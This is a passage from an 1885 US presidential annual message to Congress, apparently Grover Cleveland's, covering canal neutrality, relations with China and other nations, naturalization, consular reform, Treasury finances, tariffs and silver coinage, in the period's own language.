the Pacific.\nThe obvious advantages of such a route, if feasible, over others more\nremote from the axial lines of traffic between Europe and the pacific, and\nparticularly between the Valley of the Mississippi and the western coast of\nNorth and South America, are deserving of consideration.Whatever highway may be constructed across the barrier dividing the two\ngreatest maritime areas of the world must be for the world's benefit--a\ntrust for mankind, to be removed from the chance of domination by any\nsingle power, nor become a point of invitation for hostilities or a prize\nfor warlike ambition. An engagement combining the construction, ownership,\nand operation of such a work by this Government, with an offensive and\ndefensive alliance for its protection, with the foreign state whose\nresponsibilities and rights we would share is, in my judgment, inconsistent\nwith such dedication to universal and neutral use, and would, moreover,\nentail measures for its realization beyond the scope of our national polity\nor present means.The lapse of years has abundantly confirmed the wisdom and foresight of\nthose earlier Administrations which, long before the conditions of maritime\nintercourse were changed and enlarged by the progress of the age,\nproclaimed the vital need of interoceanic transit across the American\nIsthmus and consecrated it in advance to the common use of mankind by their\npositive declarations and through the formal obligation of treaties. Toward\nsuch realization the efforts of my Administration will be applied, ever\nbearing in mind the principles on which it must rest, and which were\ndeclared in no uncertain tones by Mr. Cass, who, while Secretary of State,\nin 1858, announced that \"what the United States want in Central America,\nnext to the happiness of its people, is the security and neutrality of the\ninteroceanic routes which lead through it.\"The construction of three transcontinental lines of railway, all in\nsuccessful operation, wholly within our territory, and uniting the Atlantic\nand the Pacific oceans, has been accompanied by results of a most\ninteresting and impressive nature, and has created new conditions, not in\nthe routes of commerce only, but in political geography, which powerfully\naffect our relations toward and necessarily increase our interests in any\ntransisthmian route which may be opened and employed for the ends of peace\nand traffic, or, in other contingencies, for uses inimical to both.Transportation is a factor in the cost of commodities scarcely second to\nthat of their production, and weighs as heavily upon the consumer.Our experience already has proven the great importance of having the\ncompetition between land carriage and water carriage fully developed, each\nacting as a protection to the public against the tendencies to monopoly\nwhich are inherent in the consolidation of wealth and power in the hands of\nvast corporations.These suggestions may serve to emphasize what I have already said on the\nscore of the necessity of a neutralization of any interoceanic transit; and\nthis can only be accomplished by making the uses of the route open to all\nnations and subject to the ambitions and warlike necessities of none.The drawings and report of a recent survey of the Nicaragua Canal route,\nmade by Chief Engineer Menocal, will be communicated for your information.The claims of citizens of the United States for losses by reason of the\nlate military operations of Chile in Peru and Bolivia are the subject of\nnegotiation for a claims convention with Chile, providing for their\nsubmission to arbitration.The harmony of our relations with China is fully sustained.In the application of the acts lately passed to execute the treaty of 1880,\nrestrictive of the immigration of Chinese laborers into the United States,\nindividual cases of hardship have occurred beyond the power of the\nExecutive to remedy, and calling for judicial determination.The condition of the Chinese question in the Western States and Territories\nis, despite this restrictive legislation, far from being satisfactory. The\nrecent outbreak in Wyoming Territory, where numbers of unoffending\nChinamen, indisputably within the protection of the treaties and the law,\nwere murdered by a mob, and the still more recent threatened outbreak of\nthe same character in Washington Territory, are fresh in the minds of all,\nand there is apprehension lest the bitterness of feeling against the\nMongolian race on the Pacific Slope may find vent in similar lawless\ndemonstrations. All the power of this Government should be exerted to\nmaintain the amplest good faith toward China in the treatment of these men,\nand the inflexible sternness of the law in bringing the wrongdoers to\njustice should be insisted upon.Every effort has been made by this Government to prevent these violent\noutbreaks and to aid the representatives of China in their investigation of\nthese outrages; and it is but just to say that they are traceable to the\nlawlessness of men not citizens of the United States engaged in competition\nwith Chinese laborers.Race prejudice is the chief factor in originating these disturbances, and\nit exists in a large part of our domain, jeopardizing our domestic peace\nand the good relationship we strive to maintain with China.The admitted right of a government to prevent the influx of elements\nhostile to its internal peace and security may not be questioned, even\nwhere there is no treaty stipulation on the subject. That the exclusion of\nChinese labor is demanded in other countries where like conditions prevail\nis strongly evidenced in the Dominion of Canada, where Chinese immigration\nis now regulated by laws more exclusive than our own. If existing laws are\ninadequate to compass the end in view, I shall be prepared to give earnest\nconsideration to any further remedial measures, within the treaty limits,\nwhich the wisdom of Congress may devise.The independent State of the Kongo has been organized as a government under\nthe sovereignty of His Majesty the King of the Belgians, who assumes its\nchief magistracy in his personal character only, without making the new\nState a dependency of Belgium. It is fortunate that a benighted region,\nowing all it has of quickening civilization to the beneficence and\nphilanthropic spirit of this monarch, should have the advantage and\nsecurity of his benevolent supervision.The action taken by this Government last year in being the first to\nrecognize the flag of the International Association of the Kongo has been\nfollowed by formal recognition of the new nationality which succeeds to its\nsovereign powers.A conference of delegates of the principal commercial nations was held at\nBerlin last winter to discuss methods whereby the Kongo basin might be kept\nopen to the world's trade. Delegates attended on behalf of the United\nStates on the understanding that their part should be merely deliberative,\nwithout imparting to the results any binding character so far as the United\nStates were concerned. This reserve was due to the indisposition of this\nGovernment to share in any disposal by an international congress of\njurisdictional questions in remote foreign territories. The results of the\nconference were embodied in a formal act of the nature of an international\nconvention, which laid down certain obligations purporting to be binding on\nthe signatories, subject to ratification within one year. Notwithstanding\nthe reservation under which the delegates of the United States attended,\ntheir signatures were attached to the general act in the same manner as\nthose of the plenipotentiaries of other governments, thus making the United\nStates appear, without reserve or qualification, as signatories to a joint\ninternational engagement imposing on the signers the conservation of the\nterritorial integrity of distant regions where we have no established\ninterests or control.This Government does not, however, regard its reservation of liberty of\naction in the premises as at all impaired; and holding that an engagement\nto share in the obligation of enforcing neutrality in the remote valley of\nthe Kongo would be an alliance whose responsibilities we are not in a\nposition to assume, I abstain from asking the sanction of the Senate to\nthat general act.The correspondence will be laid before you, and the instructive and\ninteresting report of the agent sent by this Government to the Kongo\ncountry and his recommendations for the establishment of commercial\nagencies on the African coast are also submitted for your consideration.The commission appointed by my predecessor last winter to visit the Central\nand South American countries and report on the methods of enlarging the\ncommercial relations of the United States therewith has submitted reports,\nwhich will be laid before you.No opportunity has been omitted to testify the friendliness of this\nGovernment toward Korea, whose entrance into the family of treaty powers\nthe United States were the first to recognize. I regard with favor the\napplication made by the Korean Government to be allowed to employ American\nofficers as military instructors, to which the assent of Congress becomes\nnecessary, and I am happy to say this request has the concurrent sanction\nof China and Japan.The arrest and imprisonment of Julio R. Santos, a citizen of the United\nStates, by the authorities of Ecuador gave rise to a contention with that\nGovernment, in which his right to be released or to have a speedy and\nimpartial trial on announced charges and with all guaranties of defense\nstipulated by treaty was insisted upon by us. After an elaborate\ncorrespondence and repeated and earnest representations on our part Mr.\nSantos was, after an alleged trial and conviction, eventually included in a\ngeneral decree of amnesty and pardoned by the Ecuadorian Executive and\nreleased, leaving the question of his American citizenship denied by the\nEcuadorian Government, but insisted upon by our own.The amount adjudged by the late French and American Claims Commission to be\ndue from the United States to French claimants on account of injuries\nsuffered by them during the War of Secession, having been appropriated by\nthe last Congress, has been duly paid to the French Government.The act of February 25, 1885, provided for a preliminary search of the\nrecords of French prize courts for evidence bearing on the claims of\nAmerican citizens against France for spoliations committed prior to 1801.\nThe duty has been performed, and the report of the agent will be laid\nbefore you.I regret to say that the restrictions upon the importation of our pork into\nFrance continue, notwithstanding the abundant demonstration of the absence\nof sanitary danger in its use; but I entertain strong hopes that with a\nbetter understanding of the matter this vexatious prohibition will be\nremoved. It would be pleasing to be able to say as much with respect to\nGermany, Austria, and other countries, where such food products are\nabsolutely excluded, without present prospect of reasonable change.The interpretation of our existing treaties of naturalization by Germany\nduring the past year has attracted attention by reason of an apparent\ntendency on the part of the Imperial Government to extend the scope of the\nresidential restrictions to which returning naturalized citizens of German\norigin are asserted to be liable under the laws of the Empire. The\ntemperate and just attitude taken by this Government with regard to this\nclass of questions will doubtless lead to a satisfactory understanding.The dispute of Germany and Spain relative to the domination of the Caroline\nIslands has attracted the attention of this Government by reason of\nextensive interests of American citizens having grown up in those parts\nduring the past thirty years, and because the question of ownership\ninvolves jurisdiction of matters affecting the status of our citizens under\ncivil and criminal law. While standing wholly aloof from the proprietary\nissues raised between powers to both of which the United States are\nfriendly, this Government expects that nothing in the present contention\nshall unfavorably affect our citizens carrying on a peaceful commerce or\nthere domiciled, and has so informed the Governments of Spain and Germany.The marked good will between the United States and Great Britain has been\nmaintained during the past year.The termination of the fishing clauses of the treaty of Washington, in\npursuance of the joint resolution of March 3, 1883, must have resulted in\nthe abrupt cessation on the 1st of July of this year, in the midst of their\nventures, of the operations of citizens of the United States engaged in\nfishing in British American waters but for a diplomatic understanding\nreached with Her Majesty's Government in June last, whereby assurance was\nobtained that no interruption of those operations should take place during\nthe current fishing season.In the interest of good neighborhood and of the commercial intercourse of\nadjacent communities, the question of the North American fisheries is one\nof much importance. Following out the intimation given by me when the\nextensory arrangement above described was negotiated, I recommend that the\nCongress provide for the appointment of a commission in which the\nGovernments of the United States and Great Britain shall be respectively\nrepresented, charged with the consideration and settlement, upon a just,\nequitable, and honorable basis, of the entire question of the fishing\nrights of the two Governments and their respective citizens on the coasts\nof the United States and British North America. The fishing interests being\nintimately related to other general questions dependent upon contiguity and\nintercourse, consideration thereof in all their equities might also\nproperly come within the purview of such a commission, and the fullest\nlatitude of expression on both sides should be permitted.The correspondence in relation to the fishing rights will be submitted. The\narctic exploring steamer Alert, which was generously given by Her Majesty's\nGovernment to aid in the relief of the Greely expedition, was, after the\nsuccessful attainment of that humane purpose, returned to Great Britain, in\npursuance of the authority conferred by the act of March 3, 1885.The inadequacy of the existing engagements for extradition between the\nUnited States and Great Britain has been long apparent. The tenth article\nof the treaty of 1842, one of the earliest compacts in this regard entered\ninto by us, stipulated for surrender in respect of a limited number of\noffenses. Other crimes no less inimical to the social welfare should be\nembraced and the procedure of extradition brought in harmony with present\ninternational practice. Negotiations with Her Majesty's Government for an\nenlarged treaty of extradition have been pending since 1870, and I\nentertain strong hopes that a satisfactory result may be soon attained.The frontier line between Alaska and British Columbia, as defined by the\ntreaty of cession with Russia, follows the demarcation assigned in a prior\ntreaty between Great Britain and Russia. Modern exploration discloses that\nthis ancient boundary is impracticable as a geographical fact. In the\nunsettled condition of that region the question has lacked importance, but\nthe discovery of mineral wealth in the territory the line is supposed to\ntraverse admonishes that the time has come when an accurate knowledge of\nthe boundary is needful to avert jurisdictional complications. I recommend,\ntherefore, that provision be made for a preliminary reconnoissance by\nofficers of the United States, to the end of acquiring more precise\ninformation on the subject. I have invited Her Majesty's Government to\nconsider with us the adoption of a more convenient line, to be established\nby meridian observations or by known geographical features without the\nnecessity of an expensive survey of the whole.The late insurrectionary movements in Hayti having been quelled, the\nGovernment of that Republic has made prompt provision for adjudicating the\nlosses suffered by foreigners because of hostilities there, and the claims\nof certain citizens of the United States will be in this manner\ndetermined.The long-pending claims of two citizens of the United States, Pelletier and\nLazare, have been disposed of by arbitration, and an award in favor of each\nclaimant has been made, which by the terms of the engagement is final. It\nremains for Congress to provide for the payment of the stipulated moiety of\nthe expenses.A question arose with Hayti during the past year by reason of the\nexceptional treatment of an American citizen, Mr. Van Bokkelen, a resident\nof Port-au-Prince, who, on suit by creditors residing in the United States,\nwas sentenced to imprisonment, and, under the operation of a Haytian\nstatute, was denied relief secured to a native Haytian. This Government\nasserted his treaty right to equal treatment with natives of Hayti in all\nsuits at law. Our contention was denied by the Haytian Government, which,\nhowever, while still professing to maintain the ground taken against Mr.\nVan Bokkelen's right, terminated the controversy by setting him at liberty\nwithout explanation.An international conference to consider the means of arresting the spread\nof cholera and other epidemic diseases was held at Rome in May last, and\nadjourned to meet again on further notice. An expert delegate on behalf of\nthe United States has attended its sessions and will submit a report.Our relations with Mexico continue to be most cordial, as befits those of\nneighbors between whom the strongest ties of friendship and commercial\nintimacy exist, as the natural and growing consequence of our similarity of\ninstitutions and geographical propinquity.The relocation of the boundary line between the United States and Mexico\nwestward of the Rio Grande, under the convention of July 29, 1882, has been\nunavoidably delayed, but I apprehend no difficulty in securing a\nprolongation of the period for its accomplishment.The lately concluded commercial treaty with Mexico still awaits the\nstipulated legislation to carry its provisions into effect, for which one\nyear's additional time has been secured by a supplementary article signed\nin February last and since ratified on both sides.As this convention, so important to the commercial welfare of the two\nadjoining countries, has been constitutionally confirmed by the treaty-\nmaking branch, I express the hope that legislation needed to make it\neffective may not be long delayed.The large influx of capital and enterprise to Mexico from the United States\ncontinues to aid in the development of the resources and in augmenting the\nmaterial well-being of our sister Republic. Lines of railway, penetrating\nto the heart and capital of the country, bring the two peoples into\nmutually beneficial intercourse, and enlarged facilities of transit add to\nprofitable commerce, create new markets, and furnish avenues to otherwise\nisolated communities.I have already adverted to the suggested construction of a ship railway\nacross the narrow formation of the territory of Mexico at Tehuantepec.With the gradual recovery of Peru from the effects of her late disastrous\nconflict with Chile, and with the restoration of civil authority in that\ndistracted country, it is hoped that pending war claims of our citizens\nwill be adjusted.In conformity with notification given by the Government of Peru, the\nexisting treaties of commerce and extradition between the United States and\nthat country will terminate March 31, 1886.Our good relationship with Russia continues.An officer of the Navy, detailed for the purpose, is now on his way to\nSiberia bearing the testimonials voted by Congress to those who generously\nsuccored the survivors of the unfortunate Jeannette expedition.It is gratifying to advert to the cordiality of our intercourse with\nSpain.The long-pending claim of the owners of the ship Masonic for loss suffered\nthrough the admitted dereliction of the Spanish authorities in the\nPhilippine Islands has been adjusted by arbitration and an indemnity\nawarded. The principle of arbitration in such cases, to which the United\nStates have long and consistently adhered, thus receives a fresh and\ngratifying confirmation.Other questions with Spain have been disposed of or are under diplomatic\nconsideration with a view to just and honorable settlement.The operation of the commercial agreement with Spain of January 2--February\n13, 1884, has been found inadequate to the commercial needs of the United\nStates and the Spanish Antilies, and the terms of the agreement are\nsubjected to conflicting interpretations in those islands.Negotiations have been instituted at Madrid for a full treaty not open to\nthese objections and in the line of the general policy touching the\nneighborly intercourse of proximate communities, to which I elsewhere\nadvert, and aiming, moreover, at the removal of existing burdens and\nannoying restrictions; and although a satisfactory termination is promised,\nI am compelled to delay its announcement.An international copyright conference was held at Berne in September, on\nthe invitation of the Swiss Government. The envoy of the United States\nattended as a delegate, but refrained from committing this Government to\nthe results, even by signing the recommendatory protocol adopted. The\ninteresting and important subject of international copyright has been\nbefore you for several years. Action is certainly desirable to effect the\nobject in view; and while there may be question as to the relative\nadvantage of treating it by legislation or by specific treaty, the matured\nviews of the Berne conference can not fail to aid your consideration of the\nsubject.The termination of the commercial treaty of 1862 between the United States\nand Turkey has been sought by that Government. While there is question as\nto the sufficiency of the notice of termination given, yet as the\ncommercial rights of our citizens in Turkey come under the favored-nation\nguaranties of the prior treaty of 1830, and as equal treatment is admitted\nby the Porte, no inconvenience can result from the assent of this\nGovernment to the revision of the Ottoman tariffs, in which the treaty\npowers have been invited to join.Questions concerning our citizens in Turkey may be affected by the Porte's\nnonacquiescence in the right of expatriation and by the imposition of\nreligious tests as a condition of residence, in which this Government can\nnot concur. The United States must hold in their intercourse with every\npower that the status of their citizens is to be respected and equal civil\nprivileges accorded to them without regard to creed, and affected by no\nconsiderations save those growing out of domiciliary return to the land of\noriginal allegiance or of unfulfilled personal obligations which may\nsurvive, under municipal laws, after such voluntary return.The negotiation with Venezuela relative to the rehearing of the awards of\nthe mixed commission constituted under the treaty of 1866 was resumed in\nview of the recent acquiescence of the Venezuelan envoy in the principal\npoint advanced by this Government, that the effects of the old treaty could\nonly be set aside by the operation of a new convention. A result in\nsubstantial accord with the advisory suggestions contained in the joint\nresolution of March 3, 1883, has been agreed upon and will shortly be\nsubmitted to the Senate for ratification.Under section 3659 of the Revised Statutes all funds held in trust by the\nUnited States and the annual interest accruing thereon, when not otherwise\nrequired by treaty, are to be invested in stocks of the United States\nbearing a rate of interest not less than 5 per cent per annum. There being\nnow no procurable stocks paying so high a rate of interest, the letter of\nthe statute is at present inapplicable, but its spirit is subserved by\ncontinuing to make investments of this nature in current stocks bearing the\nhighest interest now paid. The statute, however, makes no provision for the\ndisposal of such accretions. It being contrary to the general rule of this\nGovernment to allow interest on claims, I recommend the repeal of the\nprovision in question and the disposition, under a uniform rule, of the\npresent accumulations from investment of trust funds.The inadequacy of existing legislation touching citizenship and\nnaturalization demands your consideration.While recognizing the right of expatriation, no statutory provision exists\nproviding means for renouncing citizenship by an American citizen, native\nborn or naturalized, nor for terminating and vacating an improper\nacquisition of citizenship. Even a fraudulent decree of naturalization can\nnot now be canceled. The privilege and franchise of American citizenship\nshould be granted with care, and extended to those only who intend in good\nfaith to assume its duties and responsibilities when attaining its\nprivileges and benefits. It should be withheld from those who merely go\nthrough the forms of naturalization with the intent of escaping the duties\nof their original allegiance without taking upon themselves those of their\nnew status, or who may acquire the rights of American citizenship for no\nother than a hostile purpose toward their original governments. These evils\nhave had many flagrant illustrations.I regard with favor the suggestion put forth by one of my predecessors that\nprovision be made for a central bureau of record of the decrees of\nnaturalization granted by the various courts throughout the United States\nnow invested with that power.The rights which spring from domicile in the United States, especially when\ncoupled with a declaration of intention to become a citizen, are worthy of\ndefinition by statute. The stranger coming hither with intent to remain,\nestablishing his residence in our midst, contributing to the general\nwelfare, and by his voluntary act declaring his purpose to assume the\nresponsibilities of citizenship, thereby gains an inchoate status which\nlegislation may properly define. The laws of certain States and Territories\nadmit a domiciled alien to the local franchise, conferring on him the\nrights of citizenship to a degree which places him in the anomalous\nposition of being a citizen of a State and yet not of the United States\nwithin the purview of Federal and international law.It is important within the scope of national legislation to define this\nright of alien domicile as distinguished from Federal naturalization.The commercial relations of the United States with their immediate\nneighbors and with important areas of traffic near our shores suggest\nespecially liberal intercourse between them and us.Following the treaty of 1883 with Mexico, which rested on the basis of a\nreciprocal exemption from customs duties, other similar treaties were\ninitiated by my predecessor.Recognizing the need of less obstructed traffic with Cuba and Puerto Rico,\nand met by the desire of Spain to succor languishing interests in the\nAntilles, steps were taken to attain those ends by a treaty of commerce. A\nsimilar treaty was afterwards signed by the Dominican Republic.\nSubsequently overtures were made by Her Britannic Majesty's Government for\na like mutual extension of commercial intercourse with the British West\nIndian and South American dependencies, but without result.On taking office I withdrew for reexamination the treaties signed with\nSpain and Santo Domingo, then pending before the Senate. The result has\nbeen to satisfy me of the inexpediency of entering into engagements of this\ncharacter not covering the entire traffic.These treaties contemplated the surrender by the United States of large\nrevenues for inadequate considerations. Upon sugar alone duties were\nsurrendered to an amount far exceeding all the advantages offered in\nexchange. Even were it intended to relieve our consumers, it was evident\nthat so long as the exemption but partially covered our importation such\nrelief would be illusory. To relinquish a revenue so essential seemed\nhighly improvident at a time when new and large drains upon the Treasury\nwere contemplated. Moreover, embarrassing questions would have arisen under\nthe favored-nation clauses of treaties with other nations.As a further objection, it is evident that tariff regulation by treaty\ndiminishes that independent control over its own revenues which is\nessential for the safety and welfare of any government. Emergency calling\nfor an increase of taxation may at any time arise, and no engagement with a\nforeign power should exist to hamper the action of the Government.By the fourteenth section of the shipping act approved June 26, 1884,\ncertain reductions and contingent exemptions from tonnage dues were made as\nto vessels entering ports of the United States from any foreign port in\nNorth and Central America, the West India Islands, the Bahamas and\nBermudas, Mexico, and the Isthmus as far as Aspinwall and Panama. The\nGovernments of Belgium, Denmark, Germany, Portugal, and Sweden and Norway\nhave asserted, under the favored-nation clause in their treaties with the\nUnited States, a claim to like treatment in respect of vessels coming to\nthe United States from their home ports. This Government, however, holds\nthat the privileges granted by the act are purely geographical, inuring to\nany vessel of any foreign power that may choose to engage in traffic\nbetween this country and any port within the defined zone, and no warrant\nexists under the most-favored-nation clause for the extension of the\nprivileges in question to vessels sailing to this country from ports\noutside the limitation of the act.Undoubtedly the relations of commerce with our near neighbors, whose\nterritories form so long a frontier line difficult to be guarded, and who\nfind in our country, and equally offer to us, natural markets, demand\nspecial and considerate treatment. It rests with Congress to consider what\nlegislative action may increase facilities of intercourse which contiguity\nmakes natural and desirable.I earnestly urge that Congress recast the appropriations for the\nmaintenance of the diplomatic and consular service on a footing\ncommensurate with the importance of our national interests. At every post\nwhere a representative is necessary the salary should be so graded as to\npermit him to live with comfort. With the assignment of adequate salaries\nthe so-called notarial extra official fees, which our officers abroad are\nnow permitted to treat as personal perquisites, should be done away with.\nEvery act requiring the certification and seal of the officer should be\ntaxable at schedule rates and the fee therefor returned to the Treasury. By\nrestoring these revenues to the public use the consular service would be\nself-supporting, even with a liberal increase of the present low salaries.In further prevention of abuses a system of consular inspection should be\ninstituted.The appointment of a limited number of secretaries of legation at large, to\nbe assigned to duty wherever necessary, and in particular for temporary\nservice at missions which for any cause may be without a head, should also\nbe authorized.I favor also authorization for the detail of officers of the regular\nservice as military or naval attaches at legations.Some foreign governments do not recognize the union of consular with\ndiplomatic functions. Italy and Venezuela will only receive the appointee\nin one of his two capacities, but this does not prevent the requirement of\na bond and submission to the responsibilities of an office whose duties he\ncan not discharge. The superadded title of consul-general should be\nabandoned at all missions.I deem it expedient that a well-devised measure for the reorganization of\nthe extraterritorial courts in Oriental countries should replace the\npresent system, which labors under the disadvantage of combining judicial\nand executive functions in the same office.In several Oriental countries generous offers have been made of premises\nfor housing the legations of the United States. A grant of land for that\npurpose was made some years since by Japan, and has been referred to in the\nannual messages of my predecessor. The Siamese Government has made a gift\nto the United States of commodious quarters in Bangkok. In Korea the late\nminister was permitted to purchase a building from the Government for\nlegation use. In China the premises rented for the legation are favored as\nto local charges. At Tangier the house occupied by our representative has\nbeen for many years the property; this Government, having been given for\nthat purpose in 1822 by the Sultan of Morocco. I approve the suggestion\nheretofore made, that, view of the conditions of life and administration in\nthe Eastern countries, the legation buildings in China, Japan, Korea, Siam,\nand perhaps Persia, should be owned and furnished by the Government with a\nview to permanency and security. To this end I recommend that authority be\ngiven to accept the gifts adverted to in Japan and Siam, and to purchase in\nthe other countries named, with provision for furniture and repairs. A\nconsiderable saving in rentals would result.The World's Industrial Exposition, held at New Orleans last winter, with\nthe assistance of the Federal Government, attracted a large number of\nforeign exhibits, and proved of great value in spreading among the\nconcourse of visitors from Mexico and Central and South America a wider\nknowledge of the varied manufactures and productions of this country and\ntheir availability in exchange for the productions of those regions.Past Congresses have had under consideration the advisability of abolishing\nthe discrimination made by the tariff laws in favor of the works of\nAmerican artists. The odium of the policy which subjects to a high rate of\nduty the paintings of foreign artists and exempts the productions of\nAmerican artists residing abroad, and who receive gratuitously advantages\nand instruction, is visited upon our citizens engaged in art culture in\nEurope, and has caused them with practical unanimity to favor the abolition\nof such an ungracious distinction; and in their interest, and for other\nobvious reasons, I strongly recommend it.The report of the Secretary of the Treasury fully exhibits the condition of\nthe public finances and of the several branches of the Government connected\nwith his Department. The suggestions of the Secretary relating to the\npractical operations of this important Department, and his recommendations\nin the direction of simplification and economy, particularly in the work of\ncollecting customs duties, are especially urged upon the attention of\nCongress.The ordinary receipts from all sources for the fiscal year ended June 30,\n1885, were $322,690,706.38. Of this sum $181,471,939.34 was received from\ncustoms and $112,498,725.54 from internal revenue. The total receipts, as\ngiven above, were $24,829,163.54 less than those for the year ended June\n30, 1884. This diminution embraces a falling off of $13,595,550.42 in the\nreceipts from customs and $9,687,346.97 in the receipts from internal\nrevenue.The total ordinary expenditures of the Government for the fiscal year were\n$260,226,935.50, leaving a surplus in the Treasury at the close of the year\nof $63,463,771.27. This is $40,929,854.32 less than the surplus reported at\nthe close of the previous year.The expenditures are classified as follows:The amount paid on the public debt during the fiscal year ended June 30,\n1885, was $45,993,235.43, and there has been paid since that date and up to\nNovember 1, 1885, the sum of $369,828, leaving the amount of the debt at\nthe last-named date $1,514,475,860.47. There was however, at that time in\nthe Treasury, applicable to the general purposes of the Government, the sum\nof $66,818,292.38.The total receipts for the current fiscal year ending June 30, 1886,\nascertained to October 1, 1885, and estimated for the remainder of the\nyear, are $315,000,000. The expenditures ascertained and estimated for the\nsame time are $245,000,000, leaving a surplus at the close of the year\nestimated at $70,000,000.The value of the exports from the United States to foreign countries during\nthe last fiscal year was as follows:Some of the principal exports, with their values and the percentage they\nrespectively bear to the total exportation, are given as follows:Our imports during the year were as follows:The following are given as prominent articles of import during the year,\nwith their values and the percentage they bear to the total importation:Of the entire amount of duties collected 70 per cent was collected from the\nfollowing articles of import:The fact that our revenues are in excess of the actual needs of all\neconomical administration of the Government justifies a reduction in the\namount exacted from the people for its support. Our Government is but the\nmeans established by the will of a free people by which certain principles\nare applied which they have adopted for their benefit and protection; and\nit is never better administered and its true spirit is never better\nobserved than when the people's taxation for its support is scrupulously\nlimited to the actual necessity of expenditure and distributed according to\na just and equitable plan.The proposition with which we have to deal is the reduction of the revenue\nreceived by the Government, and indirectly paid by the people, from customs\nduties. The question of free trade is not involved, nor is there now any\noccasion for the general discussion of the wisdom or expediency of a\nprotective system.Justice and fairness dictate that in any modification of our present laws\nrelating to revenue the industries and interests which have been encouraged\nby such laws, and in which our citizens have large investments, should not\nbe ruthlessly injured or destroyed. We should also deal with the subject in\nsuch manner as to protect the interests of American labor, which is the\ncapital of our workingmen. Its stability and proper remuneration furnish\nthe most justifiable pretext for a protective policy.Within these limitations a certain reduction should be made in our customs\nrevenue. The amount of such reduction having been determined, the inquiry\nfollows, Where can it best be remitted and what articles can best be\nreleased from duty in the interest of our citizens?I think the reduction should be made in the revenue derived from a tax upon\nthe imported necessaries of life. We thus directly lessen the cost of\nliving in every family of the land and release to the people in every\nhumble home a larger measure of the rewards of frugal industry.During the year ended November 1, 1885, 145 national banks were organized,\nwith an aggregate capital of $16,938,000, and circulating notes have been\nissued to them amounting to $4,274,910. The whole number of these banks in\nexistence on the day above mentioned was 2,727.The very limited amount of circulating notes issued by our national banks,\ncompared with the amount the law permits them to issue upon a deposit of\nbonds for their redemption, indicates that the volume of our circulating\nmedium may be largely increased through this instrumentality.Nothing more important than the present condition of our currency and\ncoinage can claim your attention.Since February, 1878, the Government has, under the compulsory provisions\nof law, purchased silver bullion and coined the same at the rate of more\nthan $2,000,000 every month. By this process up to the present date\n215,759,431 silver dollars have been coined.A reasonable appreciation of a delegation of power to the General\nGovernment would limit its exercise, without express restrictive words, to\nthe people's needs and the requirements of the public welfare.Upon this theory the authority to \"coin money\" given to Congress by the\nConstitution, if it permits the purchase by the Government of bullion for\ncoinage in any event, does not justify such purchase and coinage to an\nextent beyond the amount needed for a sufficient circulating medium.The desire to utilize the silver product of the country should not lead to\na misuse or the perversion of this power.The necessity for such an addition to the silver currency of the nation as\nis compelled by the silver-coinage act is negatived by the fact that up to\nthe present time only about 50,000,000 of the silver dollars so coined have\nactually found their way into circulation, leaving more than 165,000,000 in\nthe possession of the Government, the custody of which has entailed a\nconsiderable expense for the construction of vaults for it deposit. Against\nthis latter amount there are outstanding silver certificates amounting to\nabout $93,000,000.Every month two millions of gold in the public Treasury are paid our for\ntwo millions or more of silver dollars, to be added to the idle mass\nalready accumulated.If continued long enough, this operation will result in the substitution of\nsilver for all the gold the Government owns applicable to its general\npurposes. It will not do to rely upon the customs receipts of the\nGovernment to make good this drain of gold, because the silver thus coined\nhaving been made legal tender for all debts and dues, public and private,\nat times during the last six months 58 per cent of the receipts for duties\nhas been in silver or silver certificates, while the average within that\nperiod has been 20 per cent. The proportion of silver and its certificates\nreceived by the Government will probably increase as time goes on, for the\nreason that the nearer the period approaches when it will be obliged to\noffer silver in payment of its obligations the greater inducement there\nwill be to hoard gold against depreciation in the value of silver or for\nthe purpose of speculating.This hoarding of gold has already begun.When the time comes that gold has been withdrawn from circulation, then\nwill be apparent the difference between the real value of the silver dollar\nand a dollar in gold, and the two coins will part company. Gold, still the\nstandard of value and necessary in our dealings with other countries, will\nbe at a premium over silver; banks which have substituted gold for the\ndeposits of their customers may pay them with silver bought with such gold,\nthus making a handsome profit; rich speculators will sell their hoarded\ngold to their neighbors who need it to liquidate their foreign debts, at a\nruinous premium over silver, and the laboring men and women of the land,\nmost defenseless of all, will find that the dollar received for the wage of\ntheir toil has sadly shrunk in its purchasing power. It may be said that\nthe latter result will be but temporary, and that ultimately the price of\nlabor will be adjusted to the change; but even if this takes place the\nwage-worker can not possibly gain, but must inevitably lose, since the\nprice he is compelled to pay for his living will not only be measured in a\ncoin heavily depreciated and fluctuating and uncertain in its value, but\nthis uncertainty in the value of the purchasing medium will be made the\npretext for an advance in prices beyond that justified by actual\ndepreciation.The words uttered in 1834 by Daniel Webster in the Senate of the United\nStates are true to-day: The very man of all others who has the deepest\ninterest in a sound currency, and who suffers most by mischievous\nlegislation in money matters, is the man who earns his daily bread by his\ndaily toil. The most distinguished advocate of bimetallism, discussing our\nsilver coinage, has lately written: No American citizen's hand has yet felt\nthe sensation of cheapness, either in receiving or expending the silver-act\ndollars. And those who live by labor or legitimate trade never will feel\nthat sensation of cheapness. However plenty silver dollars may become, they\nwill not be distributed as gifts among the people; and if the laboring man\nshould receive four depreciated dollars where he now receives but two, he\nwill pay in the depreciated coin more than double the price he now pays for\nall the necessaries and comforts of life.Those who do not fear any disastrous consequences arising from the\ncontinued compulsory coinage of silver as now directed by law, and who\nsuppose that the addition to the currency of the country intended as its\nresult will be a public benefit, are reminded that history demonstrates\nthat the point is easily reached in the attempt to float at the same time\ntwo sorts of money of different excellence when the better will cease to be\nin general circulation. The hoarding of gold which has already taken place\nindicates that we shall not escape the usual experience in such cases. So\nif this silver coinage be continued we may reasonably expect that gold and\nits equivalent will abandon the field of circulation to silver alone. This\nof course must produce a severe contraction of our circulating medium,\ninstead of adding to it.It will not be disputed that any attempt on the part of the Government to\ncause the circulation of silver dollars worth 80 cents side by side with\ngold dollars worth 100 cents, even within the limit that legislation does\nnot run counter to the laws of trade, to be successful must be seconded by\nthe confidence of the people that both coins will retain the same\npurchasing power and be interchangeable at will. A special effort has been\nmade by the Secretary of the Treasury to increase the amount of our silver\ncoin in circulation; but the fact that a large share of the limited amount\nthus put out has soon returned to the public Treasury in payment of duties\nleads to the belief that the people do not now desire to keep it in hand,\nand this, with the evident disposition to hoard gold, gives rise to the\nsuspicion that there already exists a lack of confidence among the people\ntouching our financial processes. There is certainly not enough silver now\nin circulation to cause uneasiness, and the whole amount coined and now on\nhand might after a time be absorbed by the people without apprehension; but\nit is the ceaseless stream that threatens to overflow the land which causes\nfear and uncertainty.What has been thus far submitted upon this subject relates almost entirely\nto considerations of a home nature, unconnected with the bearing which the\npolicies of other nations have upon the question. But it is perfectly\napparent that a line of action in regard to our currency can not wisely be\nsettled upon or persisted in 